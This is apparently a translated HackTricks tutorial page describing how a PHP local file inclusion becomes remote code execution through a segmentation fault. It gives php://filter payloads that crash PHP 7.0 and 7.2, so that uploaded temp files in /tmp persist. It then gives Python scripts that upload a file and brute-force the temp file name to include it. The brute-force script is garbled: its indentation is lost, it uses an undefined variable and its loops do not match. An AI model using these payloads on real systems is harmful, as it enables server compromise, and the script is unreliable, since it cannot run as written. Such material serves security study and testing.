LFI2RCE via Segmentation Fault

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

根据 https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/(第二部分)和 https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view 的报告,以下 payload 在 PHP 中引起了分段错误:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

你应该知道,如果你发送一个包含文件的POST请求,PHP会在/tmp/php<something>中创建一个临时文件,其中包含该文件的内容。一旦请求被处理,这个文件会被自动删除。

如果你发现一个LFI漏洞,并成功触发了PHP的分段错误,那么这个临时文件将永远不会被删除。因此,你可以利用LFI漏洞搜索这个文件,直到找到并执行任意代码。

你可以使用docker镜像https://hub.docker.com/r/easyengine/php7.0进行测试。

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

其他支持HackTricks的方式:

最后更新于